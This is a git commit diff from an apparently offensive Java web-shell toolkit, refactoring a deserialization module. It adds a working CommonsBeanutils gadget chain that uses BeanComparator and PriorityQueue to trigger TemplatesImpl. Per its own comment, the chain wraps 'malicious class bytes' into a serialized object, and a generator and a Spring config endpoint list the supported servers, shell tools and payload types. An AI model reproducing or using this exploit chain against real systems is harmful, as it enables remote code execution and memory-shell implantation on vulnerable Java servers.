refactor: deserialize

This commit is contained in:
ReaJason
2024-12-14 19:34:06 +08:00
parent 8a709a1f23
commit 51342c36ad
11 changed files with 206 additions and 47 deletions
+1
View File
@@ -24,6 +24,7 @@ repositories {
}
dependencies {
implementation project(":deserialize")
implementation project(":generator")
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation 'org.springframework.boot:spring-boot-starter-web'
@@ -0,0 +1,55 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.packer.Packer;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/13
*/
@RestController("/config")
public class ConfigController {
@RequestMapping
public ResponseEntity<?> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
List<String> servers = new ArrayList<>();
for (Server value : Server.values()) {
AbstractShell shell = value.getShell();
if (shell != null) {
List<ShellTool> supportedShellTools = shell.getSupportedShellTools();
Map<String, List<String>> map = new HashMap<>(16);
for (ShellTool shellTool : supportedShellTools) {
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
map.put(shellTool.name(), supportedShellTypes);
}
servers.add(value.name());
coreMap.put(value.name(), map);
}
}
Config config = new Config();
config.setServers(servers);
config.setCore(coreMap);
Map<String, Map<?, ?>> packerMap = new HashMap<>(16);
for (Packer.INSTANCE value : Packer.INSTANCE.values()) {
if (value.equals(Packer.INSTANCE.Deserialize)) {
packerMap.put(value.name(), Map.of("payloads", PayloadType.values()));
} else {
packerMap.put(value.name(), null);
}
}
config.setPacker(packerMap);
return ResponseEntity.ok(config);
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class Config {
private List<String> servers;
private Map<String, Map<?, ?>> core;
private Map<String, Map<?, ?>> packer;
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import org.springframework.http.ResponseEntity;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2024/12/13
*/
class ConfigControllerTest {
@Test
void getConfig() {
ConfigController configController = new ConfigController();
ResponseEntity<?> config = configController.config();
Object body = config.getBody();
assertNotNull(body);
System.out.println(body);
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,12 @@
package com.reajason.javaweb.deserialize;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class DeserializeConfig {
private PayloadType payloadType;
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.deserialize;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.deserialize;
/**
* @author ReaJason
* @since 2024/12/13
*/
public interface Payload {
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Getter
public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils19(new CommonsBeanutils19());
private final Payload payload;
PayloadType(Payload payload) {
this.payload = payload;
}
public static PayloadType getPayloadType(String payloadType) {
for (PayloadType value : values()) {
if (value.name().equals(payloadType)) {
return value;
}
}
throw new IllegalArgumentException("unknown payload type: " + payloadType);
}
}
@@ -0,0 +1,28 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils19 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object obj = TemplateUtils.createTemplatesImpl(bytes);
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import java.lang.reflect.Field;